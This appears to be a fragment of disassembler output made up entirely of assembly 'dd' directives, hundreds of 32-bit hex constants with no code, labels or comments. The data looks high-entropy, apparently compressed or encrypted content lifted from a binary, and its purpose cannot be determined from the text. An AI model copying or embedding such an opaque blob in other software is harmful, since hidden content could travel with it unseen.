		dd 99296E17h, 0CDD68285h, 0D51A374Bh, 0F14C0D04h, 0C3E0813Ah
		dd 2EEF1865h, 0B2F85121h, 9E14B5B7h, 0E28773A1h, 0D340797Ch
		dd 244D471Bh, 0AD8678E9h, 5712FB56h, 99F1FBFh, 0C551A570h
		dd 5ECA0BCh, 0A2582B35h, 0F510AA2Ah, 23321DB2h,	79FC8FEh
		dd 3DE76BE3h, 8F72CDF7h, 0CF295758h, 350E16C0h,	817ABA00h
		dd 1A432BF6h, 257AB437h, 9522D874h, 77AEBF8Eh, 8AF23E34h
		dd 659EDB81h, 0BD90BA6Ch, 93155F05h, 1C32A8C4h,	0F9EA26E9h
		dd 78F7E107h, 0CDB7257Ch, 0D1680458h, 0C077F85Ch, 1D5E6D31h
		dd 26C60581h, 811AE125h, 8448C9F0h, 8C94E9FEh, 5EE67B89h
		dd 0A37A4E3h, 0A05B09DEh, 0FECD2786h, 0BF58465Dh, 0AA9C14ECh
		dd 9F986858h, 430C25A9h, 251316Ch, 0DCA33AC5h, 0BB0CE9C2h
		dd 2EF12469h, 7168ACE4h, 4ACCB525h, 0DA06D697h,	8CD253F5h
		dd 0B7C4C768h, 604E9A77h, 0E9A8C717h, 7FF7EBA4h, 120A841h
		dd 72670559h, 0BC40E93Eh, 0CE985E92h, 41602D68h, 0D1251753h
		dd 17736250h, 0CD887E65h, 50436C1Dh, 674A84F8h,	72748ED1h
		dd 0D03FBC7Fh, 89598F22h, 5C4184E1h, 0BBF684AAh, 26DCD3A2h
		dd 0CEBEA73Ch, 3A1AF795h, 0C2CADE55h, 9EF88DE9h, 9466C9A2h
		dd 86AD5B5Fh, 49047848h, 0FA2A20BDh, 854CCCCEh,	163ECD05h
		dd 9EA4AB6Dh, 21EEB0ACh, 243F6E0Ah, 5493DB82h, 91B610A8h
		dd 0E69C402Fh, 0D5F92A9Bh, 0AACB4A83h, 4157B062h, 0AD2BE0C0h
		dd 90E09253h, 27063B2Eh, 54ACE909h, 268B1874h, 0A103532Ah
		dd 100D8A41h, 82B464BCh, 8F5AB3D1h, 729DE57Bh, 29610CE4h
		dd 5B0C075Eh, 0B33E2A16h, 5362F8ECh, 8BD5F1E9h,	0A3897D67h
		dd 1272D87Ch, 76CE55EFh, 0DD1FE92Ah, 9741F097h,	23B7FC00h
		dd 0FD970CDBh, 3841CD3Ah, 7D19E466h, 2A446BDh, 7A3F45A5h
		dd 0B7727E9h, 0A9CD55B4h, 742F508Bh, 80EF6464h,	7468D49Ch
		dd 0D355C00h, 5702730h,	6EF112DAh, 0E93D044Eh, 7AE4EE71h
		dd 1A44124h, 2FF015D1h,	0EAE735BFh, 0A528ACD1h,	5B637EF6h
		dd 2AAC4FF1h, 8789DDA3h, 382DFB7Dh, 1AED5725h, 5F9D7DA2h
		dd 0E92D1E36h, 0B5245872h, 75C04BEEh, 76EB815Ch, 49BD2765h
		dd 9420A1E5h, 0ED5AFB03h, 9028BA44h, 58297340h,	0F2014DC2h
		dd 89719BCh, 0DEA06A09h, 7BA80CF3h, 70586FB9h, 16D2850Bh
		dd 4E50253h, 0EA890355h, 0EFEDABBh, 5E3AE29Dh, 3931C2DBh
		dd 77672F76h, 2B80948h,	5988D11Bh, 8ED45852h, 4D8E0B15h
		dd 3E81F746h, 20014FA1h, 0DF09CBF6h, 686B2A51h,	711DF39Dh
		dd 0B089B0A4h, 0D1584EC4h, 398CC3h, 0E1052668h,	8929AC2Fh
		dd 5EE32979h, 561401E4h, 6F05D08Dh, 2DE917B4h, 3AD795DDh
		dd 5D926000h, 0F9FBC94Dh, 26B47B46h, 0A2C0D62Dh, 982B2018h
		dd 46CCA280h, 0E00C0A2Fh, 6F7A336h, 23E9B145h, 0C701259Ah
		dd 0FB0E1A22h, 3C6FF831h, 0AA5E686Bh, 0C251845h, 3BE527BFh
		dd 5F27BA75h, 5C2DC73Ch, 20464466h, 6839C3D9h, 29FB4AFCh
		dd 697840EBh, 6116B373h, 2431CE9h, 0BC6F095Fh, 483386E4h
		dd 0A0D2D219h, 0D84DD7F9h, 0F02562E5h, 0AB5D043Ah, 8C54A2CBh
		dd 0FF80B723h, 1ED8359h, 0F7DD8702h, 0F45355D3h, 0AF50709h
		dd 0C4BDB5A7h, 30E0EBA8h, 0C3DCED01h, 910BF5Bh,	90171CDh
		dd 16520521h, 107E318Ch, 614F07EAh, 5D1FE38h, 0D476AF82h
		dd 0CA165AEEh, 5A1AFA38h, 52E170FEh, 31664BAh, 13BA346Ch
		dd 0FA1A277h, 744C5371h, 2AB5BFDh, 30C0E933h, 7EAD5E8h
		dd 84BF47F0h, 21FF664Dh, 4C3035Fh, 0CBE156D9h, 0F422817Ah
		dd 0F2E9D828h, 7426ADF9h, 0E51927AFh, 33903F05h, 20BBF57h
		dd 0E911215Ch, 6C75DE9Ah, 0BF0F4ED2h, 5CA8968Ch, 5A72E1Bh
		dd 0EE6583C8h, 75EF1B25h, 0CF29E3E0h, 0AC9710FAh, 480EA82h
		dd 892E8C65h, 811E84F8h, 45625D0h, 74ED5FD0h, 552B3E2Dh
		dd 0A3BCDC96h, 4AEB59C6h, 96628AAAh, 0D55971AAh, 0CBEB2202h
		dd 63B4755Eh, 4B20B886h, 555E00C2h, 51BA6852h, 34FA4771h
		dd 0AAF7F44Eh, 84CEF85Fh, 3107365Ah, 0FA1273CAh, 16BB2C58h
		dd 5FF7656Bh, 4EF9B610h, 0E3EB6CC1h, 66896BFDh,	4FFA0F14h
		dd 68CFCC0Bh, 386F6E1h,	0C236005h, 71D2879Dh, 306D5831h
		dd 0A390BA3h, 20A04AABh, 0B8E85C29h, 0C1E20B41h, 0F43F5D1Eh
		dd 2E4F2057h, 91680020h, 6D97C447h, 482396CCh, 66C40504h
		dd 0A1947ED7h, 5C25071Fh, 62D5A56Eh, 0DF96DFC3h, 427EB10Bh
		dd 4BFF7219h, 80C4C07Bh, 0DCB56DEDh, 0C30CCFABh, 349FCB4h
		dd 29EB18B3h, 0B12A5497h, 1ADC04C2h, 0F677C0FCh, 8A0A6A8Dh
		dd 0EEF52144h, 67F08E39h, 0EF89C42Bh, 63F069BCh, 3DBAB488h
		dd 8635480Bh, 0D3427568h, 565F0802h, 89689877h,	5F4DFEDEh
		dd 91F8A6C6h, 66F84AA7h, 22C51BE1h, 0D4331307h,	0C8689A31h
		dd 70197FE6h, 31BF2E92h, 26AA50F2h, 146C58D4h, 80895CECh
		dd 745B61EBh, 69EE4CC1h, 0AF811C27h, 0CC77CF80h, 5013C0C7h
		dd 61F84DB4h, 78F97E70h, 2C5B1EC1h, 53C8C2AFh, 97F38B3h
		dd 0E750649Ch, 92D3EED8h, 5FD6C3A5h, 4DFDFF7h, 13D5E21Bh
		dd 2EFF4B51h, 4C63180Bh, 1654C32Bh, 0F7AB149h, 97A26F91h
		dd 17524B79h, 3D5FA10Ch, 71A32A65h, 0EEF55BBDh,	5780150Bh
		dd 0F3E80246h, 0FC9568BFh, 94D964F6h, 685700F1h, 3E216D4Ah
		dd 50735F45h, 40016E3Eh, 290025BCh, 351A9278h, 7F1F0946h
		dd 0A20E274Eh, 0BAC042F9h, 7E2A7D33h, 0AAE20523h, 452490Eh
		dd 4E3EC4EEh, 6C0896C2h, 96BD28D9h, 0A0809680h,	0EA02D106h
		dd 840FD039h, 68F8E821h, 0E900E573h, 289AA8E6h,	19DFA72h
		dd 0F021427h, 0E41A75CEh, 2D883B60h, 3544B02Ch,	0A04A371Eh
		dd 8D10DE3Eh, 5D85BF02h, 0D1C868B3h, 8182DDA5h,	580539A2h
		dd 2A20B461h, 8C6B022Bh, 5DEB8930h, 163144F5h, 0B467BBE9h
		dd 5A1DE7B0h, 0C98155C8h, 77F874ACh, 93E0C93h, 59842349h
		dd 3E20F31Eh, 9460B125h, 0DD3E136Eh, 7F06ECC1h,	7E23BBDh
		dd 630BE3D8h, 57CAC047h, 7660DC42h, 1B4EB8E4h, 509CB035h
		dd 4D22BD03h, 17161C08h, 0BE63617Eh, 2B202BC9h,	267510BBh
		dd 2BB7C19h, 54966D16h,	3E2AF85Eh, 9BFEE33Fh, 0B02218DAh
		dd 0BD101A3Bh, 307D6412h
		dd 957DBB38h, 0FDEB6959h, 0F4CA071Bh, 7FC0BD07h, 9D4D2E36h
		dd 201B87Eh, 1441E951h,	8113AE29h, 0FA6694EAh, 0E9C34DCAh
		dd 3E1DDB39h, 2C28BBAh,	0F7D601AEh, 5C556EBAh, 0E2CC58F2h
		dd 4BF951BDh, 0FC9889DDh, 7B652246h, 0B4BF245Eh, 119D832Ch
		dd 40D17E33h, 185C7AC6h, 169A430Ch, 52124A5Eh, 0A485ABFDh
		dd 74061ED2h, 0C9E59DBEh, 68FD4A7Ch, 12C608BAh,	0EE553541h
		dd 0C0562D9h, 5D2CCC8Bh, 20BD00D9h, 6817A16Ah, 0C62E152Dh
		dd 52161F3Dh, 0E75FE55Dh, 0E2B0975h, 0E2DDF0ABh, 3E1EF7C2h
		dd 0DD635451h, 22917B39h, 8A7BD98Eh, 0BF0717ACh, 22057853h
		dd 0AACA72EBh, 0AB684805h, 0E956413Ah, 2FFF9928h, 0A5B369AAh
		dd 0D47559Ch, 7C175FA6h, 0E9FB07ABh, 0BE4E4CFAh, 9D0B5AB5h
		dd 5853A9F0h, 0EBA68484h, 0BDC54A1Dh, 1E5116EBh, 0F480C021h
		dd 2E4C031h, 0D86060FEh, 41C4F6CDh, 0EC405ECAh,	32ED4EC4h
		dd 0AC184B76h, 0E205CCD5h, 18BEB070h, 264B720Fh, 7D8A82C9h
		dd 2CB68541h, 3CEB5E07h, 0A740E3F9h, 176A0FB8h,	0FB465DF3h
		dd 5F5B14AFh, 1AA11A53h, 13B12420h, 54D975Eh, 946CE9BAh
		dd 1358FACDh, 94940155h, 0A010531Ah, 29146532h,	24AA6DDh
		dd 51DAF619h, 407B9340h, 186520D6h, 78E4A085h, 0EF485B62h
		dd 0AC2BE26Dh, 40A4A731h, 655DE55Dh, 595F82ADh,	9D5FCE9h
		dd 5907DE1h, 8081767Bh,	366F6FCh, 3B75352h, 0FE80D7B6h
		dd 0F17C305Bh, 0C938DCC4h, 32F78101h, 0B210CB3Bh, 0B87452ADh
		dd 6C880BCAh, 0C8D72770h, 5BA16875h, 0E9A26064h, 0CFD5059Bh
		dd 0C5AB4AE2h, 5C2DEA5Bh, 88522BBh, 7E8015h, 43734508h
		dd 9864E97Fh, 90EF5E4Dh, 0FECD90E7h, 8F7AE79Fh,	0EEF6EDDCh
		dd 0CA9A4E72h, 0C9C05575h, 740E0B07h, 20512D40h, 6B3544F0h
		dd 2F1A2DB6h, 617A78F4h, 0D23AE72Dh, 0E8D72D3Ah, 25685FEAh
		dd 0D059782Eh, 4655D589h, 4CD8B681h, 5D5B6911h,	80A5D1ADh
		dd 0B86997E6h, 0E6016D7Ch, 8F73AE2h, 0CEE14E46h, 7E3927E8h
		dd 7FEE0E3Bh, 56D2B92Fh, 0B82F3E3h, 0F50797E9h,	9BA25716h
		dd 0B40E2874h, 0F3EE41Ah, 0E24016F7h, 0BB3A97BDh, 5ABB58DDh
		dd 0F063B14Ch, 2696283Bh, 5EE7108h, 4F0DC568h, 0CAC6546Fh
		dd 581C4CFDh, 0E156D1F7h, 5C6AFB01h, 0C97F123Ah, 9C09E8EFh
		dd 68418B99h, 0BB896CC8h, 0A2908F97h, 8B0EEC1h,	0C736F601h
		dd 0F1211E01h, 0BC2FC07Ah, 444BB120h, 0E00024ADh, 874C6A73h
		dd 33B047FEh, 89284341h, 3B6E680Bh, 3C5ECB0h, 42285B12h
		dd 0BB8712EFh, 377A1448h, 0D8659162h, 0FD14EC37h, 0EC909BB2h
		dd 25E2AD20h, 0B170685Ah, 71A0F4B5h, 0AD0B3EF3h, 0FA9FFC5Eh
		dd 59C2045Eh, 2D50A93h,	73AF370Ch, 103C9D84h, 0A49726B8h
		dd 0C2D2F78Ch, 60763EAh, 9DF95608h, 58B24A8Eh, 0EE3163Ch
		dd 3BEE9290h, 64872726h, 8822C72h, 35F70440h, 0D4B03BE1h
		dd 0CF1B171Ch, 6ECD0172h, 82169877h, 0F858E1CAh, 92165F52h
		dd 0E56BFC09h, 0F58C7530h, 5EEE865Eh, 38C180BDh, 2E6243F5h
		dd 833BA1E9h, 1D4FAFBBh, 4BD33212h, 0B0E9701h, 0C803951h
		dd 44D84DDDh, 644AE0E9h, 0E7FA56C4h, 4A4F8B90h,	822CFEA3h
		dd 37AC78C4h, 12FCEF80h, 0E91013E1h, 0BB257283h, 5FA062D7h
		dd 618B47E2h, 5ACFA4D7h, 0AED743ECh, 610D0F0Ch,	0A5D49F58h
		dd 115BDE09h, 0D77CB974h, 0E2DABC4Eh, 885574D2h, 0FF25BA09h
		dd 2CD53161h, 39B04BB1h, 492AB003h, 4E7FAEFBh, 0FE111718h
		dd 5FB96E98h, 0B82040FEh, 80A3449h, 4A5F79FAh, 0B40B2D25h
		dd 753D1A2Bh, 968DE930h, 0BFF3E797h, 0D4CD1E96h, 0F9A8EA7Ah
		dd 0E852BA92h, 6B4884E4h, 0ED5F8CD5h, 0A86889CFh, 0D7E3B0D7h
		dd 6BC8B57h, 0C71D039h,	9811D4EDh, 0CF40E7A4h, 83E0B566h
		dd 7AE10145h, 9CF401ACh, 4C456C33h, 5F814FEDh, 9099D1C6h
		dd 5A857F76h, 0B813F4EFh, 3D8C4395h, 6612B1E6h,	0E450BE6Fh
		dd 130E4C08h, 0E38C1EBBh, 0A3905F55h, 5D9C1069h, 7848FC4Ah
		dd 7C278527h, 72586849h, 0CB2DD955h, 34F267F7h,	7AD5FA81h
		dd 8490B6ABh, 99BC0AE9h, 1ED5B11Ch, 0C76544CBh,	0CB31EEFEh
		dd 0B00408A7h, 0A39089C6h, 278CF99Fh, 8DB0B2C6h, 40D2C8FCh
		dd 5A8704BFh, 0DA280075h, 1D38EA80h, 8E1AB151h,	0CA0573F1h
		dd 7CCFB359h, 7256C327h, 5870EB1Eh, 0C76444B0h,	0F4276017h
		dd 0F59706A8h, 2DDC5ACh, 0D6C94030h, 764082D5h,	90DEE6B9h
		dd 54B858C9h, 0CD6A8FB0h, 8EB6BA53h, 420D6882h,	2EFD9E57h
		dd 273F0CE9h, 6E456E5Fh, 20AD6725h, 95DC6E0Ah, 78E70681h
		dd 0D230614Ah, 0C52F2AE0h, 0F7FF62F9h, 0DCB555B6h, 8FC4F83Eh
		dd 561A18B7h, 0AC10CE86h, 9A866CE9h, 0FC97F74Ah, 0B7CD891Eh
		dd 9B08F865h, 4B6C30EAh, 1075F9C6h, 554C03F8h, 5C817845h
		dd 0D69F209Eh, 0F64D0E46h, 685D0A10h, 0FDEBA798h, 15E09E0h
		dd 0C6CFD1B6h, 5AC36439h, 0AADAC5A6h, 13C2C367h, 2F60D910h
		dd 8A1734E3h, 4640F8D7h, 469F5336h, 0F1D4B05Fh,	2781EF04h
		dd 2C88AB4Eh, 0F285DF15h, 0E3062E42h, 514CA8Bh,	5C80A5B8h
		dd 106EA808h, 3D58B752h, 0EA13063Ch, 0BDD0AB1Ah, 5E5DEF89h
		dd 0E842E052h, 701697Bh, 3C9C2D58h, 0BC6C99C6h,	204F624Ch
		dd 5F62B470h, 63A042F1h, 62C25B77h, 0E556D801h,	0CC129089h
		dd 208D92D6h, 292FAA27h, 6B3C7E6Ch, 7210A9ADh, 0B1AED2B9h
		dd 8DA66F35h, 96629427h, 5813D677h, 0A9AA500Ah,	0FDF89075h
		dd 418B820Ch, 50519720h, 5BF2F488h, 42B05FB2h, 5612B64Bh
		dd 2EEC8ABEh, 760BDCBEh, 2558826Dh, 0BB8604D9h,	80080B18h
		dd 286C17EDh, 7A1E8DEBh, 0E43534BCh, 89F1BFA8h,	63D44C6Ah
		dd 4905675h, 27336916h,	4EB809BFh, 46B20A00h, 48B73748h
		dd 5E6DE927h, 944DB364h, 41A2381Dh, 61C6D040h, 0B5217274h
		dd 88172D2h, 22A9357h, 3A0459E3h, 0AF7BA119h, 21C521ACh
		dd 2FF2FAFCh, 0C164BAA5h, 2C7F40C0h, 0C81F9D8h,	58A36EDEh
		dd 0B240F329h, 46B05508h, 718D797h, 79244C73h, 8180E274h
		dd 0A95420C9h, 1DDA9D01h, 835C15F0h, 0F4F102D2h, 6952FACFh
		dd 16B4DF6h, 0EBC0E940h, 0D6AC34FEh, 2568B740h,	0DA2477EAh
		dd 920116C0h, 5CCC60FCh, 0C0740FECh, 2868B716h,	0DE9558E7h
		dd 0B1264Fh, 80E2B252h,	7AF3AAC2h, 0DB98B804h, 0A04C49B7h
		dd 0DD5E3E25h, 16EE7BEFh, 0BA055C16h, 29EF0585h, 38BE2EF0h
		dd 0DC2FE921h, 12CFE8A9h, 0B58C27F0h, 0F4BB8F6h, 0FEC46436h
		dd 0DA531EBh, 90E73B5Fh, 94014496h, 3DBD007Fh, 957DEC76h
		dd 2B4240E2h, 0E0F5F2C3h, 0DA728816h, 0D6B732B8h, 2FDE959h
		dd 444CA617h, 0BEB4F50h, 528C5D36h, 6166E927h, 831C2189h
		dd 29458492h, 11C0FEC1h, 1C02AD0Dh, 8905459Ch, 0D0D7214Ch
		dd 0E8882FE6h, 0BE0C6244h, 7AD02CABh, 1AC060B1h, 15C78058h
		dd 0EFEAF7E0h, 87D5AEAh, 0B5E9B3C2h, 0A599F72Bh, 0BE00EAFDh
		dd 258C40CAh, 2872092Fh, 0F127BF00h, 0DFBB536Ah, 482A277Ah
		dd 75A8295Fh, 989D1996h, 95015886h, 756BF151h, 33944648h
		dd 0E62ADB4h, 8752046Ah, 0AB19EFD2h, 30AE3EDFh,	0FEDD5E27h
		dd 6FA5DEBDh, 0BB030965h, 7192C837h, 489CD75Eh,	270D9AB1h
		dd 0ED7B650Bh, 0FE697645h, 20C1F05Eh, 0B907DE09h, 0BD65325h
		dd 0F6E8F8A4h, 9AE0E245h, 4E499D99h, 47FA2006h,	0C2EC1612h
		dd 23D04DD7h, 4B778A42h, 4B7DE801h, 8D439AFh, 99DE8D4h
		dd 1DF3556Fh, 7BC65549h
		dd 32BF3BF1h, 7E5D5F76h, 52FCD264h, 0A0B206Ah, 0B996FF18h
		dd 7188CA27h, 21E8222h,	44F820A5h, 42E42D4Fh, 26D4BD05h
		dd 0D50B2913h, 7FC529CEh, 9820734Eh, 685876BAh,	13BA0D7Eh
		dd 2ABE85Fh, 2A2625F6h,	40506032h, 5752529h, 0A26B75h
		dd 0CF810706h, 0F300B50h, 0D716D0B8h, 7FE774Fh,	0F325A816h
		dd 5658294Bh, 0C3CF6FF1h, 0C14717E3h, 91F1436Bh, 0A93B1035h
		dd 5C07D6F4h, 0F501B0B5h, 0A475A0E9h, 0FC6AE361h, 0C2277B31h
		dd 62A3763Ah, 1ED5DB41h, 0AFC712E9h, 6A914BDh, 0EF756904h
		dd 416EAD1Fh, 91A67F08h, 0AAE9D29Eh, 9F50992Ch,	27A8FD4h
		dd 9AC6DB0h, 1BF0F789h,	0BDB8FEEAh, 65665340h, 9283A68h
		dd 0AA28AD0h, 9C0C49F6h, 0D66A0B72h, 605F0145h,	241E7Ch
		dd 5835609Bh, 0D31387Bh, 4F02FF07h, 8BC9E941h, 2DB56E44h
		dd 0FAC6BC9Fh, 92BBB22Fh, 0EE3F84FDh, 2F01ED57h, 498BEC5Bh
		dd 0BA122830h, 7828AF0Ah, 0B227B852h, 0E6D1307Eh, 820AFAA8h
		dd 794A2C7Dh, 0B7535700h, 90F88818h, 437F30DBh,	31CDE2E7h
		dd 2F11AE2Ch, 7E61440Eh, 80DAF709h, 647DF4D0h, 0DE1FC1Dh
		dd 70CF2C8Eh, 0D80FF40Ch, 20BA295Eh, 1533C75h, 0F5300375h
		dd 0E5805E32h, 74C5E628h, 59E87D42h, 0E869BF26h, 0A2D7B509h
		dd 1662B167h, 8585E59Fh, 0ABE658E9h, 0F1344B45h, 20EAB940h
		dd 0BF8E40ABh, 0DCBD9BF8h, 35BB0186h, 7E587312h, 914A108Fh
		dd 86B19AD8h, 65C1804Ch, 302D2D06h, 0FCB64FCh, 0D8D6FEE8h
		dd 53518360h, 0E9FC0BB3h, 0FD9E25Bh, 0C781EF44h, 0E93AADF3h
		dd 90E90976h, 50D47CD4h, 6617AB05h, 0D50B4619h,	0AC5830D1h
		dd 9BB9F7Ch, 0BE53A1DAh, 970A0116h, 1BADC2F4h, 0B5EC84C3h
		dd 0D051DE8Bh, 0A54A42h, 0E2C0C7B2h, 80070867h,	0CA33D167h
		dd 81CB8FD0h, 0FF8F6C39h, 0E2F2EB05h, 738A347Ch, 10CAAD18h
		dd 0BB4A4EDBh, 0D74B164Ch, 0A96AFF81h, 62D32F51h, 5AB3D4D0h
		dd 0C1A37818h, 0C3C0A3A2h, 279C851Fh, 87C25F4Bh, 26D15675h
		dd 28B94728h, 34B6807h,	0A76CD50Bh, 3FF123FEh, 0EFB4B8B8h
		dd 32ADA8B8h, 306A0211h, 554D7705h, 0CB4ED856h,	3FA03CDh
		dd 7AF5E03Bh, 7F070078h, 3C1CBE56h, 29542476h, 14B5E90h
		dd 111A9664h, 0BAC856C4h, 0F6666A27h, 0C8600DFFh, 0A8555F8Bh
		dd 0DB423857h, 0F0D2D1B0h, 76D86913h, 4E87FA7Fh, 422CC369h
		dd 22C77BB1h, 11B3905Fh, 0BA4E49CDh, 78144D32h,	0F47E9DCDh
		dd 830B7958h, 4500BAB5h, 2B6D1F48h, 0BBEF5801h,	5FB82910h
		dd 69340F1h, 5A0EFFFCh,	47041742h, 660AD832h, 67029DD5h
		dd 16A76EA2h, 967A1DFh,	2C2F1FF9h, 4A715A89h, 0D3093204h
		dd 0C6A8E7E9h, 8D8ABF4Eh, 174E4FD4h, 9DDFECCh, 0B27F8E21h
		dd 844C169Eh, 8D13A389h, 0A529CDA5h, 4DCD20h, 0C179943Fh
		dd 0FA2D07E0h, 139C5302h, 0DC7AF7E9h, 79A38C83h, 900FC741h
		dd 65459473h, 4904493h,	5C1672BDh, 7E7D6B22h, 89DD318Dh
		dd 2DA3D4E4h, 1E177F41h, 20B8524Bh, 12AC7A3Fh, 5C7F02B3h
		dd 0D7E2C09Eh, 20A4C4F7h, 12D8B4Fh, 6991BC6h, 0B262594Ah
		dd 14AC228h, 0ECD691BCh, 0DA3B3A91h, 0F0D3AEA9h, 3917A449h
		dd 4FB33D9Bh, 18D0094Eh, 64076E9Bh, 6A8D3B9Eh, 1F815E64h
		dd 4F29FEDBh, 97BA750h,	1A6B2D2h, 42A4ADFh, 26D0FFEFh
		dd 90866B62h, 0F4C90604h, 0EE5EEC59h, 27A40638h, 5C025F01h
		dd 5501D2C5h, 0A03B5D50h, 8F13D8FFh, 0C0FBE7D5h, 2F68519Bh
		dd 43F90416h, 0F1810060h, 8919C02Bh, 2607E9CEh,	67ADBA4h
		dd 5049F69Dh, 0C1C65BCh, 48E7E91Dh, 30F9ED29h, 0C5A4EE10h
		dd 0CD05C1ADh, 6CB5E9D7h, 0EF0097F5h, 5287A15Bh, 0E51D8474h
		dd 3EEDCB2Ah, 710BB472h, 89EFA8C8h, 0CF0E4835h,	0D26A1233h
		dd 4921072Dh, 0BC560E90h, 4FC8103Dh, 106CF14Ah,	0A549B8E7h
		dd 31A7F304h, 0F2EB58C6h, 622F25BCh, 0F00C5871h, 0BCC29F56h
		dd 123BCF67h, 4D09E8E6h, 0CE69401Eh, 476C00D0h,	0A5BB5375h
		dd 3C2D5B18h, 0EE2B7221h, 2834F208h, 26FCF389h,	897254A7h
		dd 94790F58h, 0B9F45F83h, 6E18E967h, 7A800D54h,	4C0822B0h
		dd 97819A6Ah, 3B1B6047h, 0A23486BDh, 795EC2A3h,	0E2811B76h
		dd 72133166h, 0EC99130h, 0E96F8259h, 6913BA32h,	0A1517E9Fh
		dd 72EDEC6Ah, 0A5AF7595h, 0E9B1F0F6h, 0A072FE1h, 4974F129h
		dd 0ED05DFEDh, 0C0E67B59h, 3076CDBCh, 18C752F2h, 0F2F1F4F3h
		dd 3020EB01h, 5D828286h, 79095088h, 0C21631FBh,	0DFADAEF4h
		dd 7EC24F13h, 88CED722h, 389C03B7h, 0C18503C0h,	12FC3705h
		dd 3406EED9h, 3F2471A8h, 0EF121DEBh, 293F82AAh,	82B4E6C0h
		dd 4841DEB5h, 0A85A44B3h, 0C3433Ah, 0CF2396C2h,	0B8FA292Fh
		dd 0AFBB0790h, 0F0660C3Ch, 9D6458E3h, 0CCE95B0Bh, 0F041C4DEh
		dd 0A6144C66h, 0E4F2AAD2h, 5D512Ch, 64D11370h, 71121AB9h
		dd 4908326Ah, 4C680485h, 2413A570h, 68902120h, 7BF12A0h
		dd 810F4C00h, 0A604EACAh, 1F0CC126h, 214AE276h,	0A5163E75h
		dd 0E4BE04AAh, 0D492AB06h, 4C21588Ch, 0B721B152h, 8544F300h
		dd 56ABF3Ah, 10EE5E4h, 0DEEEF2CFh, 0F4361FC4h, 0C1C73581h
		dd 9FBE80F4h, 0C24AF6F2h, 40C65F88h, 0DE50F705h, 38396EABh
		dd 0E7D1170Fh, 2227551Dh, 0BD09821h, 7ECD40FDh,	959BD003h
		dd 57488302h, 58BB94Fh,	453A81FDh, 0E34DFEC4h, 0B10AA2Eh
		dd 10A98FC1h, 7E66B15Bh, 0B6D2DEA7h, 0EBF13FF3h, 0C14DE093h
		dd 4B0F736Bh, 40F5B90Dh, 11EC5F08h, 5B1C0FBCh, 6609E812h
		dd 5AE6702Ah, 35B30B28h, 3126CB58h, 401AB0D6h, 725E41FDh
		dd 0BD1F453Ch, 56B24214h, 94C3D5F7h, 1A4AF0FBh,	0E23FF3F1h
		dd 771370E2h, 0FFB07FBh, 26F9F378h, 39387B58h, 333030E9h
		dd 5536EB70h, 5245531Eh, 642E3243h, 41018F6Ch, 50CC5644h
		dd 3F0DA649h, 4C38544Eh, 11E0AD5h, 40204509h, 0FDC58384h
		dd 9B78741Ch, 4314057Ah, 28CCFDE3h, 39420A77h, 219CC411h
		dd 9E43082Fh, 0A2882590h, 82211B44h, 1111129Fh,	880708F8h
		dd 0C700F73Dh, 0CAE82209h, 70F03906h, 103B00C8h, 0B371CCCh
		dd 0B0001D33h, 5961A901h, 0C07DA8F7h, 8D436309h, 400066A6h
		dd 0CA93988h, 9C78A4h, 1A4CBFC6h, 1E3C6A35h, 0AE46DF1Ch
		dd 5A0C11C0h, 0EA827Fh,	360EC95Ch, 8E1EBB8Dh, 0C5205600h
		dd 17A82770h, 0DB74DAh,	0FA9B5198h, 74404FD0h, 1BBE2600h
		dd 1CB4A395h, 0C5D00AEh, 0DCDFCF2Ah, 42D6030Eh,	13635500h
		dd 78169Dh, 38B4D32Fh, 0E4D27D55h, 0A188D600h, 0CEAD0842h
		dd 2CF40012h, 6F309AEBh, 3703193Dh, 611E2068h, 4FDDC042h
		dd 0A9320B0Eh, 0F9A00728h, 5BE0686Eh, 0FD537300h, 0FF516956h
		dd 55790050h, 5462ACFBh, 9A0129F4h, 6EE2D8C6h, 980DAC1h
		dd 0DF64E4C4h, 6738E9CDh, 0C3B50A42h, 0C0009979h, 7A52E5D5h
		dd 69060054h, 0EDC88283h, 5F0F7C65h, 0C1A48BC9h, 43AC615Ch
		dd 0B8D2CC40h, 0E92B00E3h, 0EACCDC13h, 7C24C38Bh, 7A00C82Fh
		dd 0F6597151h, 0A8E4D4h, 0D31C6241h, 9328D5F9h,	6A36F400h
		dd 0B9DCFF5Bh, 25DECE06h, 2A71DFE0h, 0E01C2E0h,	8C0F821h
		dd 7D30E823h, 0CBF3023Fh, 5109B805h, 9657D86h, 0F55B7B00h
		dd 0F0587EAEh, 4911831h, 44B7DFBCh, 391E1242h, 0A07280EFh
		dd 4528E1E5h, 0CED9EEA0h, 0A790EE02h, 637A4064h, 165DF817h
		dd 49532477h, 67D800F1h, 0CD113B04h, 4698F11Eh,	0FA8F7540h
		dd 9FFB3A24h, 446091E4h
		dd 7C424A6Eh, 0BABB6013h, 75E21AEEh, 0C819C306h, 1F0F856Bh
		dd 466E4D9Eh, 155CD82Eh, 0BCDFC926h, 0B7569A00h, 3EADBA1Fh
		dd 0B3005D54h, 3698BEECh, 90001DE3h, 0C516C692h, 0C415E6h
		dd 0D12DA82h, 88703505h, 1EDF21D0h, 867D4165h, 63EDCDDEh
		dd 0E6BF0C48h, 66276DD3h, 8AE942C0h, 275DA181h,	4FC1EC7Eh
		dd 1E6750A8h, 190097C6h, 0C5558FCCh, 923ABF4h, 0D925111Ch
		dd 5D448003h, 0E5FC400h, 0D080FE3Dh, 0E53C0E58h, 0F867CC1Bh
		dd 37DF3D6h, 25762600h,	5035BBC6h, 0FEB62C7Eh, 1005019Eh
		dd 0D0F934B3h, 0D890F2EFh, 0B59BE40Ch, 0A0B0FEEEh, 0DE5B19h
		dd 0DBCCB864h, 2E7FC08Ah, 75C20E1Fh, 0E65E70C0h, 9422C99h
		dd 28073955h, 0AA833200h, 6F00774Bh, 86E5C9C0h,	5D61ABh
		dd 1D8E15A0h, 5605DD70h, 96806C54h, 0BCACAA07h,	0B920B797h
		dd 0F95A592h, 99BDECBBh, 6D95E84Ch, 14025601h, 161D2A26h
		dd 28080980h, 2D311B20h, 0C48E2302h, 407E0FF1h,	4C19044Dh
		dd 0C08A55A1h, 0D6A714BFh, 0CA557D01h, 259FE3C3h, 0CE914073h
		dd 0A277F8DEh, 0C26D1500h, 0B796E4CAh, 1D0E49F2h, 3F9B0528h
		dd 1C3FE0E6h, 2CDB14E0h, 0D90B8CB5h, 0A5C99167h, 0EB40D590h
		dd 0D7207E5Ch, 8EEC2EE8h, 0C11D0710h, 34BD0A6h,	40FBB1B6h
		dd 3977CFC0h, 8F8C2D00h, 95664563h, 0D8841244h,	0BD3C0260h
		dd 1B60B26Ch, 65071AD6h, 9E300121h, 6175E70h, 23F3003Ch
